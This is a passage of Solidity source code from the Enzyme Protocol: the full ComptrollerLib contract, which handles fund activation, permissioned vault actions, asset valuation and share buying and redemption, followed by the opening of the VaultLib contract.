import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../../../../persistent/dispatcher/IDispatcher.sol";
import "../../../extensions/IExtension.sol";
import "../../../extensions/fee-manager/IFeeManager.sol";
import "../../../extensions/policy-manager/IPolicyManager.sol";
import "../../../infrastructure/price-feeds/primitives/IPrimitivePriceFeed.sol";
import "../../../infrastructure/value-interpreter/IValueInterpreter.sol";
import "../../../utils/AddressArrayLib.sol";
import "../../../utils/AssetFinalityResolver.sol";
import "../../fund-deployer/IFundDeployer.sol";
import "../vault/IVault.sol";
import "./IComptroller.sol";
/// @title ComptrollerLib Contract
/// @author Enzyme Council <[email protected]>
/// @notice The core logic library shared by all funds
contract ComptrollerLib is IComptroller, AssetFinalityResolver {
using AddressArrayLib for address[];
using SafeMath for uint256;
using SafeERC20 for ERC20;
event MigratedSharesDuePaid(uint256 sharesDue);
event OverridePauseSet(bool indexed overridePause);
event PreRedeemSharesHookFailed(
bytes failureReturnData,
address redeemer,
uint256 sharesQuantity
);
event SharesBought(
address indexed caller,
address indexed buyer,
uint256 investmentAmount,
uint256 sharesIssued,
uint256 sharesReceived
);
event SharesRedeemed(
address indexed redeemer,
uint256 sharesQuantity,
address[] receivedAssets,
uint256[] receivedAssetQuantities
);
event VaultProxySet(address vaultProxy);
// Constants and immutables - shared by all proxies
uint256 private constant SHARES_UNIT = 10**18;
address private immutable DISPATCHER;
address private immutable FUND_DEPLOYER;
address private immutable FEE_MANAGER;
address private immutable INTEGRATION_MANAGER;
address private immutable PRIMITIVE_PRICE_FEED;
address private immutable POLICY_MANAGER;
address private immutable VALUE_INTERPRETER;
// Pseudo-constants (can only be set once)
address internal denominationAsset;
address internal vaultProxy;
// True only for the one non-proxy
bool internal isLib;
// Storage
// Allows a fund owner to override a release-level pause
bool internal overridePause;
// A reverse-mutex, granting atomic permission for particular contracts to make vault calls
bool internal permissionedVaultActionAllowed;
// A mutex to protect against reentrancy
bool internal reentranceLocked;
// A timelock between any "shares actions" (i.e., buy and redeem shares), per-account
uint256 internal sharesActionTimelock;
mapping(address => uint256) internal acctToLastSharesAction;
///////////////
// MODIFIERS //
///////////////
modifier allowsPermissionedVaultAction {
__assertPermissionedVaultActionNotAllowed();
permissionedVaultActionAllowed = true;
_;
permissionedVaultActionAllowed = false;
}
modifier locksReentrance() {
__assertNotReentranceLocked();
reentranceLocked = true;
_;
reentranceLocked = false;
}
modifier onlyActive() {
__assertIsActive(vaultProxy);
_;
}
modifier onlyNotPaused() {
__assertNotPaused();
_;
}
modifier onlyFundDeployer() {
__assertIsFundDeployer(msg.sender);
_;
}
modifier onlyOwner() {
__assertIsOwner(msg.sender);
_;
}
modifier timelockedSharesAction(address _account) {
__assertSharesActionNotTimelocked(_account);
_;
acctToLastSharesAction[_account] = block.timestamp;
}
// ASSERTION HELPERS
// Modifiers are inefficient in terms of contract size,
// so we use helper functions to prevent repetitive inlining of expensive string values.
/// @dev Since vaultProxy is set during activate(),
/// we can check that var rather than storing additional state
function __assertIsActive(address _vaultProxy) private pure {
require(_vaultProxy != address(0), "Fund not active");
}
function __assertIsFundDeployer(address _who) private view {
require(_who == FUND_DEPLOYER, "Only FundDeployer callable");
}
function __assertIsOwner(address _who) private view {
require(_who == IVault(vaultProxy).getOwner(), "Only fund owner callable");
}
function __assertLowLevelCall(bool _success, bytes memory _returnData) private pure {
require(_success, string(_returnData));
}
function __assertNotPaused() private view {
require(!__fundIsPaused(), "Fund is paused");
}
function __assertNotReentranceLocked() private view {
require(!reentranceLocked, "Re-entrance");
}
function __assertPermissionedVaultActionNotAllowed() private view {
require(!permissionedVaultActionAllowed, "Vault action re-entrance");
}
function __assertSharesActionNotTimelocked(address _account) private view {
require(
block.timestamp.sub(acctToLastSharesAction[_account]) >= sharesActionTimelock,
"Shares action timelocked"
);
}
constructor(
address _dispatcher,
address _fundDeployer,
address _valueInterpreter,
address _feeManager,
address _integrationManager,
address _policyManager,
address _primitivePriceFeed,
address _synthetixPriceFeed,
address _synthetixAddressResolver
) public AssetFinalityResolver(_synthetixPriceFeed, _synthetixAddressResolver) {
DISPATCHER = _dispatcher;
FEE_MANAGER = _feeManager;
FUND_DEPLOYER = _fundDeployer;
INTEGRATION_MANAGER = _integrationManager;
PRIMITIVE_PRICE_FEED = _primitivePriceFeed;
POLICY_MANAGER = _policyManager;
VALUE_INTERPRETER = _valueInterpreter;
isLib = true;
}
/////////////
// GENERAL //
/////////////
/// @notice Calls a specified action on an Extension
/// @param _extension The Extension contract to call (e.g., FeeManager)
/// @param _actionId An ID representing the action to take on the extension (see extension)
/// @param _callArgs The encoded data for the call
/// @dev Used to route arbitrary calls, so that msg.sender is the ComptrollerProxy
/// (for access control). Uses a mutex of sorts that allows "permissioned vault actions"
/// during calls originating from this function.
function callOnExtension(
address _extension,
uint256 _actionId,
bytes calldata _callArgs
) external override onlyNotPaused onlyActive locksReentrance allowsPermissionedVaultAction {
require(
_extension == FEE_MANAGER || _extension == INTEGRATION_MANAGER,
"callOnExtension: _extension invalid"
);
IExtension(_extension).receiveCallFromComptroller(msg.sender, _actionId, _callArgs);
}
/// @notice Sets or unsets an override on a release-wide pause
/// @param _nextOverridePause True if the pause should be overrode
function setOverridePause(bool _nextOverridePause) external onlyOwner {
require(_nextOverridePause != overridePause, "setOverridePause: Value already set");
overridePause = _nextOverridePause;
emit OverridePauseSet(_nextOverridePause);
}
/// @notice Makes an arbitrary call with the VaultProxy contract as the sender
/// @param _contract The contract to call
/// @param _selector The selector to call
/// @param _encodedArgs The encoded arguments for the call
function vaultCallOnContract(
address _contract,
bytes4 _selector,
bytes calldata _encodedArgs
) external onlyNotPaused onlyActive onlyOwner {
require(
IFundDeployer(FUND_DEPLOYER).isRegisteredVaultCall(_contract, _selector),
"vaultCallOnContract: Unregistered"
);
IVault(vaultProxy).callOnContract(_contract, abi.encodePacked(_selector, _encodedArgs));
}
/// @dev Helper to check whether the release is paused, and that there is no local override
function __fundIsPaused() private view returns (bool) {
return
IFundDeployer(FUND_DEPLOYER).getReleaseStatus() ==
IFundDeployer.ReleaseStatus.Paused &&
!overridePause;
}
////////////////////////////////
// PERMISSIONED VAULT ACTIONS //
////////////////////////////////
/// @notice Makes a permissioned, state-changing call on the VaultProxy contract
/// @param _action The enum representing the VaultAction to perform on the VaultProxy
/// @param _actionData The call data for the action to perform
function permissionedVaultAction(VaultAction _action, bytes calldata _actionData)
external
override
onlyNotPaused
onlyActive
{
__assertPermissionedVaultAction(msg.sender, _action);
if (_action == VaultAction.AddTrackedAsset) {
__vaultActionAddTrackedAsset(_actionData);
} else if (_action == VaultAction.ApproveAssetSpender) {
__vaultActionApproveAssetSpender(_actionData);
} else if (_action == VaultAction.BurnShares) {
__vaultActionBurnShares(_actionData);
} else if (_action == VaultAction.MintShares) {
__vaultActionMintShares(_actionData);
} else if (_action == VaultAction.RemoveTrackedAsset) {
__vaultActionRemoveTrackedAsset(_actionData);
} else if (_action == VaultAction.TransferShares) {
__vaultActionTransferShares(_actionData);
} else if (_action == VaultAction.WithdrawAssetTo) {
__vaultActionWithdrawAssetTo(_actionData);
}
}
/// @dev Helper to assert that a caller is allowed to perform a particular VaultAction
function __assertPermissionedVaultAction(address _caller, VaultAction _action) private view {
require(
permissionedVaultActionAllowed,
"__assertPermissionedVaultAction: No action allowed"
);
if (_caller == INTEGRATION_MANAGER) {
require(
_action == VaultAction.ApproveAssetSpender ||
_action == VaultAction.AddTrackedAsset ||
_action == VaultAction.RemoveTrackedAsset ||
_action == VaultAction.WithdrawAssetTo,
"__assertPermissionedVaultAction: Not valid for IntegrationManager"
);
} else if (_caller == FEE_MANAGER) {
require(
_action == VaultAction.BurnShares ||
_action == VaultAction.MintShares ||
_action == VaultAction.TransferShares,
"__assertPermissionedVaultAction: Not valid for FeeManager"
);
} else {
revert("__assertPermissionedVaultAction: Not a valid actor");
}
}
/// @dev Helper to add a tracked asset to the fund
function __vaultActionAddTrackedAsset(bytes memory _actionData) private {
address asset = abi.decode(_actionData, (address));
IVault(vaultProxy).addTrackedAsset(asset);
}
/// @dev Helper to grant a spender an allowance for a fund's asset
function __vaultActionApproveAssetSpender(bytes memory _actionData) private {
(address asset, address target, uint256 amount) = abi.decode(
_actionData,
(address, address, uint256)
);
IVault(vaultProxy).approveAssetSpender(asset, target, amount);
}
/// @dev Helper to burn fund shares for a particular account
function __vaultActionBurnShares(bytes memory _actionData) private {
(address target, uint256 amount) = abi.decode(_actionData, (address, uint256));
IVault(vaultProxy).burnShares(target, amount);
}
/// @dev Helper to mint fund shares to a particular account
function __vaultActionMintShares(bytes memory _actionData) private {
(address target, uint256 amount) = abi.decode(_actionData, (address, uint256));
IVault(vaultProxy).mintShares(target, amount);
}
/// @dev Helper to remove a tracked asset from the fund
function __vaultActionRemoveTrackedAsset(bytes memory _actionData) private {
address asset = abi.decode(_actionData, (address));
// Allowing this to fail silently makes it cheaper and simpler
// for Extensions to not query for the denomination asset
if (asset != denominationAsset) {
IVault(vaultProxy).removeTrackedAsset(asset);
}
}
/// @dev Helper to transfer fund shares from one account to another
function __vaultActionTransferShares(bytes memory _actionData) private {
(address from, address to, uint256 amount) = abi.decode(
_actionData,
(address, address, uint256)
);
IVault(vaultProxy).transferShares(from, to, amount);
}
/// @dev Helper to withdraw an asset from the VaultProxy to a given account
function __vaultActionWithdrawAssetTo(bytes memory _actionData) private {
(address asset, address target, uint256 amount) = abi.decode(
_actionData,
(address, address, uint256)
);
IVault(vaultProxy).withdrawAssetTo(asset, target, amount);
}
///////////////
// LIFECYCLE //
///////////////
/// @notice Initializes a fund with its core config
/// @param _denominationAsset The asset in which the fund's value should be denominated
/// @param _sharesActionTimelock The minimum number of seconds between any two "shares actions"
/// (buying or selling shares) by the same user
/// @dev Pseudo-constructor per proxy.
/// No need to assert access because this is called atomically on deployment,
/// and once it's called, it cannot be called again.
function init(address _denominationAsset, uint256 _sharesActionTimelock) external override {
require(denominationAsset == address(0), "init: Already initialized");
require(
IPrimitivePriceFeed(PRIMITIVE_PRICE_FEED).isSupportedAsset(_denominationAsset),
"init: Bad denomination asset"
);
denominationAsset = _denominationAsset;
sharesActionTimelock = _sharesActionTimelock;
}
/// @notice Configure the extensions of a fund
/// @param _feeManagerConfigData Encoded config for fees to enable
/// @param _policyManagerConfigData Encoded config for policies to enable
/// @dev No need to assert anything beyond FundDeployer access.
/// Called atomically with init(), but after ComptrollerLib has been deployed,
/// giving access to its state and interface
function configureExtensions(
bytes calldata _feeManagerConfigData,
bytes calldata _policyManagerConfigData
) external override onlyFundDeployer {
if (_feeManagerConfigData.length > 0) {
IExtension(FEE_MANAGER).setConfigForFund(_feeManagerConfigData);
}
if (_policyManagerConfigData.length > 0) {
IExtension(POLICY_MANAGER).setConfigForFund(_policyManagerConfigData);
}
}
/// @notice Activates the fund by attaching a VaultProxy and activating all Extensions
/// @param _vaultProxy The VaultProxy to attach to the fund
/// @param _isMigration True if a migrated fund is being activated
/// @dev No need to assert anything beyond FundDeployer access.
function activate(address _vaultProxy, bool _isMigration) external override onlyFundDeployer {
vaultProxy = _vaultProxy;
emit VaultProxySet(_vaultProxy);
if (_isMigration) {
// Distribute any shares in the VaultProxy to the fund owner.
// This is a mechanism to ensure that even in the edge case of a fund being unable
// to payout fee shares owed during migration, these shares are not lost.
uint256 sharesDue = ERC20(_vaultProxy).balanceOf(_vaultProxy);
if (sharesDue > 0) {
IVault(_vaultProxy).transferShares(
_vaultProxy,
IVault(_vaultProxy).getOwner(),
sharesDue
);
emit MigratedSharesDuePaid(sharesDue);
}
}
// Note: a future release could consider forcing the adding of a tracked asset here,
// just in case a fund is migrating from an old configuration where they are not able
// to remove an asset to get under the tracked assets limit
IVault(_vaultProxy).addTrackedAsset(denominationAsset);
// Activate extensions
IExtension(FEE_MANAGER).activateForFund(_isMigration);
IExtension(INTEGRATION_MANAGER).activateForFund(_isMigration);
IExtension(POLICY_MANAGER).activateForFund(_isMigration);
}
/// @notice Remove the config for a fund
/// @dev No need to assert anything beyond FundDeployer access.
/// Calling onlyNotPaused here rather than in the FundDeployer allows
/// the owner to potentially override the pause and rescue unpaid fees.
function destruct()
external
override
onlyFundDeployer
onlyNotPaused
allowsPermissionedVaultAction
{
// Failsafe to protect the libs against selfdestruct
require(!isLib, "destruct: Only delegate callable");
// Deactivate the extensions
IExtension(FEE_MANAGER).deactivateForFund();
IExtension(INTEGRATION_MANAGER).deactivateForFund();
IExtension(POLICY_MANAGER).deactivateForFund();
// Delete storage of ComptrollerProxy
// There should never be ETH in the ComptrollerLib, so no need to waste gas
// to get the fund owner
selfdestruct(address(0));
}
////////////////
// ACCOUNTING //
////////////////
/// @notice Calculates the gross asset value (GAV) of the fund
/// @param _requireFinality True if all assets must have exact final balances settled
/// @return gav_ The fund GAV
/// @return isValid_ True if the conversion rates used to derive the GAV are all valid
function calcGav(bool _requireFinality) public override returns (uint256 gav_, bool isValid_) {
address vaultProxyAddress = vaultProxy;
address[] memory assets = IVault(vaultProxyAddress).getTrackedAssets();
if (assets.length == 0) {
return (0, true);
}
uint256[] memory balances = new uint256[](assets.length);
for (uint256 i; i < assets.length; i++) {
balances[i] = __finalizeIfSynthAndGetAssetBalance(
vaultProxyAddress,
assets[i],
_requireFinality
);
}
(gav_, isValid_) = IValueInterpreter(VALUE_INTERPRETER).calcCanonicalAssetsTotalValue(
assets,
balances,
denominationAsset
);
return (gav_, isValid_);
}
/// @notice Calculates the gross value of 1 unit of shares in the fund's denomination asset
/// @param _requireFinality True if all assets must have exact final balances settled
/// @return grossShareValue_ The amount of the denomination asset per share
/// @return isValid_ True if the conversion rates to derive the value are all valid
/// @dev Does not account for any fees outstanding.
function calcGrossShareValue(bool _requireFinality)
external
override
returns (uint256 grossShareValue_, bool isValid_)
{
uint256 gav;
(gav, isValid_) = calcGav(_requireFinality);
grossShareValue_ = __calcGrossShareValue(
gav,
ERC20(vaultProxy).totalSupply(),
10**uint256(ERC20(denominationAsset).decimals())
);
return (grossShareValue_, isValid_);
}
/// @dev Helper for calculating the gross share value
function __calcGrossShareValue(
uint256 _gav,
uint256 _sharesSupply,
uint256 _denominationAssetUnit
) private pure returns (uint256 grossShareValue_) {
if (_sharesSupply == 0) {
return _denominationAssetUnit;
}
return _gav.mul(SHARES_UNIT).div(_sharesSupply);
}
///////////////////
// PARTICIPATION //
///////////////////
// BUY SHARES
/// @notice Buys shares in the fund for multiple sets of criteria
/// @param _buyers The accounts for which to buy shares
/// @param _investmentAmounts The amounts of the fund's denomination asset
/// with which to buy shares for the corresponding _buyers
/// @param _minSharesQuantities The minimum quantities of shares to buy
/// with the corresponding _investmentAmounts
/// @return sharesReceivedAmounts_ The actual amounts of shares received
/// by the corresponding _buyers
/// @dev Param arrays have indexes corresponding to individual __buyShares() orders.
function buyShares(
address[] calldata _buyers,
uint256[] calldata _investmentAmounts,
uint256[] calldata _minSharesQuantities
)
external
onlyNotPaused
locksReentrance
allowsPermissionedVaultAction
returns (uint256[] memory sharesReceivedAmounts_)
{
require(_buyers.length > 0, "buyShares: Empty _buyers");
require(
_buyers.length == _investmentAmounts.length &&
_buyers.length == _minSharesQuantities.length,
"buyShares: Unequal arrays"
);
address vaultProxyCopy = vaultProxy;
__assertIsActive(vaultProxyCopy);
require(
!IDispatcher(DISPATCHER).hasMigrationRequest(vaultProxyCopy),
"buyShares: Pending migration"
);
(uint256 gav, bool gavIsValid) = calcGav(true);
require(gavIsValid, "buyShares: Invalid GAV");
__buySharesSetupHook(msg.sender, _investmentAmounts, gav);
address denominationAssetCopy = denominationAsset;
uint256 sharePrice = __calcGrossShareValue(
gav,
ERC20(vaultProxyCopy).totalSupply(),
10**uint256(ERC20(denominationAssetCopy).decimals())
);
sharesReceivedAmounts_ = new uint256[](_buyers.length);
for (uint256 i; i < _buyers.length; i++) {
sharesReceivedAmounts_[i] = __buyShares(
_buyers[i],
_investmentAmounts[i],
_minSharesQuantities[i],
vaultProxyCopy,
sharePrice,
gav,
denominationAssetCopy
);
gav = gav.add(_investmentAmounts[i]);
}
__buySharesCompletedHook(msg.sender, sharesReceivedAmounts_, gav);
return sharesReceivedAmounts_;
}
/// @dev Helper to buy shares
function __buyShares(
address _buyer,
uint256 _investmentAmount,
uint256 _minSharesQuantity,
address _vaultProxy,
uint256 _sharePrice,
uint256 _preBuySharesGav,
address _denominationAsset
) private timelockedSharesAction(_buyer) returns (uint256 sharesReceived_) {
require(_investmentAmount > 0, "__buyShares: Empty _investmentAmount");
// Gives Extensions a chance to run logic prior to the minting of bought shares
__preBuySharesHook(_buyer, _investmentAmount, _minSharesQuantity, _preBuySharesGav);
// Calculate the amount of shares to issue with the investment amount
uint256 sharesIssued = _investmentAmount.mul(SHARES_UNIT).div(_sharePrice);
// Mint shares to the buyer
uint256 prevBuyerShares = ERC20(_vaultProxy).balanceOf(_buyer);
IVault(_vaultProxy).mintShares(_buyer, sharesIssued);
// Transfer the investment asset to the fund.
// Does not follow the checks-effects-interactions pattern, but it is preferred
// to have the final state of the VaultProxy prior to running __postBuySharesHook().
ERC20(_denominationAsset).safeTransferFrom(msg.sender, _vaultProxy, _investmentAmount);
// Gives Extensions a chance to run logic after shares are issued
__postBuySharesHook(_buyer, _investmentAmount, sharesIssued, _preBuySharesGav);
// The number of actual shares received may differ from shares issued due to
// how the PostBuyShares hooks are invoked by Extensions (i.e., fees)
sharesReceived_ = ERC20(_vaultProxy).balanceOf(_buyer).sub(prevBuyerShares);
require(
sharesReceived_ >= _minSharesQuantity,
"__buyShares: Shares received < _minSharesQuantity"
);
emit SharesBought(msg.sender, _buyer, _investmentAmount, sharesIssued, sharesReceived_);
return sharesReceived_;
}
/// @dev Helper for Extension actions after all __buyShares() calls are made
function __buySharesCompletedHook(
address _caller,
uint256[] memory _sharesReceivedAmounts,
uint256 _gav
) private {
IPolicyManager(POLICY_MANAGER).validatePolicies(
address(this),
IPolicyManager.PolicyHook.BuySharesCompleted,
abi.encode(_caller, _sharesReceivedAmounts, _gav)
);
IFeeManager(FEE_MANAGER).invokeHook(
IFeeManager.FeeHook.BuySharesCompleted,
abi.encode(_caller, _sharesReceivedAmounts),
_gav
);
}
/// @dev Helper for Extension actions before any __buyShares() calls are made
function __buySharesSetupHook(
address _caller,
uint256[] memory _investmentAmounts,
uint256 _gav
) private {
IPolicyManager(POLICY_MANAGER).validatePolicies(
address(this),
IPolicyManager.PolicyHook.BuySharesSetup,
abi.encode(_caller, _investmentAmounts, _gav)
);
IFeeManager(FEE_MANAGER).invokeHook(
IFeeManager.FeeHook.BuySharesSetup,
abi.encode(_caller, _investmentAmounts),
_gav
);
}
/// @dev Helper for Extension actions immediately prior to issuing shares.
/// This could be cleaned up so both Extensions take the same encoded args and handle GAV
/// in the same way, but there is not the obvious need for gas savings of recycling
/// the GAV value for the current policies as there is for the fees.
function __preBuySharesHook(
address _buyer,
uint256 _investmentAmount,
uint256 _minSharesQuantity,
uint256 _gav
) private {
IFeeManager(FEE_MANAGER).invokeHook(
IFeeManager.FeeHook.PreBuyShares,
abi.encode(_buyer, _investmentAmount, _minSharesQuantity),
_gav
);
IPolicyManager(POLICY_MANAGER).validatePolicies(
address(this),
IPolicyManager.PolicyHook.PreBuyShares,
abi.encode(_buyer, _investmentAmount, _minSharesQuantity, _gav)
);
}
/// @dev Helper for Extension actions immediately after issuing shares.
/// Same comment applies from __preBuySharesHook() above.
function __postBuySharesHook(
address _buyer,
uint256 _investmentAmount,
uint256 _sharesIssued,
uint256 _preBuySharesGav
) private {
uint256 gav = _preBuySharesGav.add(_investmentAmount);
IFeeManager(FEE_MANAGER).invokeHook(
IFeeManager.FeeHook.PostBuyShares,
abi.encode(_buyer, _investmentAmount, _sharesIssued),
gav
);
IPolicyManager(POLICY_MANAGER).validatePolicies(
address(this),
IPolicyManager.PolicyHook.PostBuyShares,
abi.encode(_buyer, _investmentAmount, _sharesIssued, gav)
);
}
// REDEEM SHARES
/// @notice Redeem all of the sender's shares for a proportionate slice of the fund's assets
/// @return payoutAssets_ The assets paid out to the redeemer
/// @return payoutAmounts_ The amount of each asset paid out to the redeemer
/// @dev See __redeemShares() for further detail
function redeemShares()
external
returns (address[] memory payoutAssets_, uint256[] memory payoutAmounts_)
{
return
__redeemShares(
msg.sender,
ERC20(vaultProxy).balanceOf(msg.sender),
new address[](0),
new address[](0)
);
}
/// @notice Redeem a specified quantity of the sender's shares for a proportionate slice of
/// the fund's assets, optionally specifying additional assets and assets to skip.
/// @param _sharesQuantity The quantity of shares to redeem
/// @param _additionalAssets Additional (non-tracked) assets to claim
/// @param _assetsToSkip Tracked assets to forfeit
/// @return payoutAssets_ The assets paid out to the redeemer
/// @return payoutAmounts_ The amount of each asset paid out to the redeemer
/// @dev Any claim to passed _assetsToSkip will be forfeited entirely. This should generally
/// only be exercised if a bad asset is causing redemption to fail.
function redeemSharesDetailed(
uint256 _sharesQuantity,
address[] calldata _additionalAssets,
address[] calldata _assetsToSkip
) external returns (address[] memory payoutAssets_, uint256[] memory payoutAmounts_) {
return __redeemShares(msg.sender, _sharesQuantity, _additionalAssets, _assetsToSkip);
}
/// @dev Helper to parse an array of payout assets during redemption, taking into account
/// additional assets and assets to skip. _assetsToSkip ignores _additionalAssets.
/// All input arrays are assumed to be unique.
function __parseRedemptionPayoutAssets(
address[] memory _trackedAssets,
address[] memory _additionalAssets,
address[] memory _assetsToSkip
) private pure returns (address[] memory payoutAssets_) {
address[] memory trackedAssetsToPayout = _trackedAssets.removeItems(_assetsToSkip);
if (_additionalAssets.length == 0) {
return trackedAssetsToPayout;
}
// Add additional assets. Duplicates of trackedAssets are ignored.
bool[] memory indexesToAdd = new bool[](_additionalAssets.length);
uint256 additionalItemsCount;
for (uint256 i; i < _additionalAssets.length; i++) {
if (!trackedAssetsToPayout.contains(_additionalAssets[i])) {
indexesToAdd[i] = true;
additionalItemsCount++;
}
}
if (additionalItemsCount == 0) {
return trackedAssetsToPayout;
}
payoutAssets_ = new address[](trackedAssetsToPayout.length.add(additionalItemsCount));
for (uint256 i; i < trackedAssetsToPayout.length; i++) {
payoutAssets_[i] = trackedAssetsToPayout[i];
}
uint256 payoutAssetsIndex = trackedAssetsToPayout.length;
for (uint256 i; i < _additionalAssets.length; i++) {
if (indexesToAdd[i]) {
payoutAssets_[payoutAssetsIndex] = _additionalAssets[i];
payoutAssetsIndex++;
}
}
return payoutAssets_;
}
/// @dev Helper for system actions immediately prior to redeeming shares.
/// Policy validation is not currently allowed on redemption, to ensure continuous redeemability.
function __preRedeemSharesHook(address _redeemer, uint256 _sharesQuantity)
private
allowsPermissionedVaultAction
{
try
IFeeManager(FEE_MANAGER).invokeHook(
IFeeManager.FeeHook.PreRedeemShares,
abi.encode(_redeemer, _sharesQuantity),
0
)
{} catch (bytes memory reason) {
emit PreRedeemSharesHookFailed(reason, _redeemer, _sharesQuantity);
}
}
/// @dev Helper to redeem shares.
/// This function should never fail without a way to bypass the failure, which is assured
/// through two mechanisms:
/// 1. The FeeManager is called with the try/catch pattern to assure that calls to it
/// can never block redemption.
/// 2. If a token fails upon transfer(), that token can be skipped (and its balance forfeited)
/// by explicitly specifying _assetsToSkip.
/// Because of these assurances, shares should always be redeemable, with the exception
/// of the timelock period on shares actions that must be respected.
function __redeemShares(
address _redeemer,
uint256 _sharesQuantity,
address[] memory _additionalAssets,
address[] memory _assetsToSkip
)
private
locksReentrance
returns (address[] memory payoutAssets_, uint256[] memory payoutAmounts_)
{
require(_sharesQuantity > 0, "__redeemShares: _sharesQuantity must be >0");
require(
_additionalAssets.isUniqueSet(),
"__redeemShares: _additionalAssets contains duplicates"
);
require(_assetsToSkip.isUniqueSet(), "__redeemShares: _assetsToSkip contains duplicates");
IVault vaultProxyContract = IVault(vaultProxy);
// Only apply the sharesActionTimelock when a migration is not pending
if (!IDispatcher(DISPATCHER).hasMigrationRequest(address(vaultProxyContract))) {
__assertSharesActionNotTimelocked(_redeemer);
acctToLastSharesAction[_redeemer] = block.timestamp;
}
// When a fund is paused, settling fees will be skipped
if (!__fundIsPaused()) {
// Note that if a fee with `SettlementType.Direct` is charged here (i.e., not `Mint`),
// then those fee shares will be transferred from the user's balance rather
// than reallocated from the sharesQuantity being redeemed.
__preRedeemSharesHook(_redeemer, _sharesQuantity);
}
// Check the shares quantity against the user's balance after settling fees
ERC20 sharesContract = ERC20(address(vaultProxyContract));
require(
_sharesQuantity <= sharesContract.balanceOf(_redeemer),
"__redeemShares: Insufficient shares"
);
// Parse the payout assets given optional params to add or skip assets.
// Note that there is no validation that the _additionalAssets are known assets to
// the protocol. This means that the redeemer could specify a malicious asset,
// but since all state-changing, user-callable functions on this contract share the
// non-reentrant modifier, there is nowhere to perform a reentrancy attack.
payoutAssets_ = __parseRedemptionPayoutAssets(
vaultProxyContract.getTrackedAssets(),
_additionalAssets,
_assetsToSkip
);
require(payoutAssets_.length > 0, "__redeemShares: No payout assets");
// Destroy the shares.
// Must get the shares supply before doing so.
uint256 sharesSupply = sharesContract.totalSupply();
vaultProxyContract.burnShares(_redeemer, _sharesQuantity);
// Calculate and transfer payout asset amounts due to redeemer
payoutAmounts_ = new uint256[](payoutAssets_.length);
address denominationAssetCopy = denominationAsset;
for (uint256 i; i < payoutAssets_.length; i++) {
uint256 assetBalance = __finalizeIfSynthAndGetAssetBalance(
address(vaultProxyContract),
payoutAssets_[i],
true
);
// If all remaining shares are being redeemed, the logic changes slightly
if (_sharesQuantity == sharesSupply) {
payoutAmounts_[i] = assetBalance;
// Remove every tracked asset, except the denomination asset
if (payoutAssets_[i] != denominationAssetCopy) {
vaultProxyContract.removeTrackedAsset(payoutAssets_[i]);
}
} else {
payoutAmounts_[i] = assetBalance.mul(_sharesQuantity).div(sharesSupply);
}
// Transfer payout asset to redeemer
if (payoutAmounts_[i] > 0) {
vaultProxyContract.withdrawAssetTo(payoutAssets_[i], _redeemer, payoutAmounts_[i]);
}
}
emit SharesRedeemed(_redeemer, _sharesQuantity, payoutAssets_, payoutAmounts_);
return (payoutAssets_, payoutAmounts_);
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `denominationAsset` variable
/// @return denominationAsset_ The `denominationAsset` variable value
function getDenominationAsset() external view override returns (address denominationAsset_) {
return denominationAsset;
}
/// @notice Gets the routes for the various contracts used by all funds
/// @return dispatcher_ The `DISPATCHER` variable value
/// @return feeManager_ The `FEE_MANAGER` variable value
/// @return fundDeployer_ The `FUND_DEPLOYER` variable value
/// @return integrationManager_ The `INTEGRATION_MANAGER` variable value
/// @return policyManager_ The `POLICY_MANAGER` variable value
/// @return primitivePriceFeed_ The `PRIMITIVE_PRICE_FEED` variable value
/// @return valueInterpreter_ The `VALUE_INTERPRETER` variable value
function getLibRoutes()
external
view
returns (
address dispatcher_,
address feeManager_,
address fundDeployer_,
address integrationManager_,
address policyManager_,
address primitivePriceFeed_,
address valueInterpreter_
)
{
return (
DISPATCHER,
FEE_MANAGER,
FUND_DEPLOYER,
INTEGRATION_MANAGER,
POLICY_MANAGER,
PRIMITIVE_PRICE_FEED,
VALUE_INTERPRETER
);
}
/// @notice Gets the `overridePause` variable
/// @return overridePause_ The `overridePause` variable value
function getOverridePause() external view returns (bool overridePause_) {
return overridePause;
}
/// @notice Gets the `sharesActionTimelock` variable
/// @return sharesActionTimelock_ The `sharesActionTimelock` variable value
function getSharesActionTimelock() external view returns (uint256 sharesActionTimelock_) {
return sharesActionTimelock;
}
/// @notice Gets the `vaultProxy` variable
/// @return vaultProxy_ The `vaultProxy` variable value
function getVaultProxy() external view override returns (address vaultProxy_) {
return vaultProxy;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../../../../persistent/dispatcher/IDispatcher.sol";
import "../../../../persistent/vault/VaultLibBase1.sol";
import "./IVault.sol";
/// @title VaultLib Contract
/// @author Enzyme Council <[email protected]>
/// @notice The per-release proxiable library contract for VaultProxy
/// @dev The difference in terminology between "asset" and "trackedAsset" is intentional.
/// A fund might actually have asset balances of un-tracked assets,
/// but only tracked assets are used in gav calculations.
/// Note that this contract inherits VaultLibSafeMath (a verbatim Open Zeppelin SafeMath copy)
/// from SharesTokenBase via VaultLibBase1
contract VaultLib is VaultLibBase1, IVault {
using SafeERC20 for ERC20;
// Before updating TRACKED_ASSETS_LIMIT in the future, it is important to consider:
// 1. The highest tracked assets limit ever allowed in the protocol
// 2. That the next value will need to be respected by all future releases
uint256 private constant TRACKED_ASSETS_LIMIT = 20;
modifier onlyAccessor() {
require(msg.sender == accessor, "Only the designated accessor can make this call");
_;
}
/////////////
// GENERAL //
/////////////
/// @notice Sets the account that is allowed to migrate a fund to new releases
/// @param _nextMigrator The account to set as the allowed migrator
/// @dev Set to address(0) to remove the migrator.
function setMigrator(address _nextMigrator) external {
require(msg.sender == owner, "setMigrator: Only the owner can call this function");
address prevMigrator = migrator;
require(_nextMigrator != prevMigrator, "setMigrator: Value already set");
migrator = _nextMigrator;
emit MigratorSet(prevMigrator, _nextMigrator);
}
///////////
// VAULT //
///////////
/// @notice Adds a tracked asset to the fund
/// @param _asset The asset to add
/// @dev Allows addition of already tracked assets to fail silently.
function addTrackedAsset(address _asset) external override onlyAccessor {
if (!isTrackedAsset(_asset)) {
require(
trackedAssets.length < TRACKED_ASSETS_LIMIT,
"addTrackedAsset: Limit exceeded"
);
assetToIsTracked[_asset] = true;
trackedAssets.push(_asset);
emit TrackedAssetAdded(_asset);
}
}
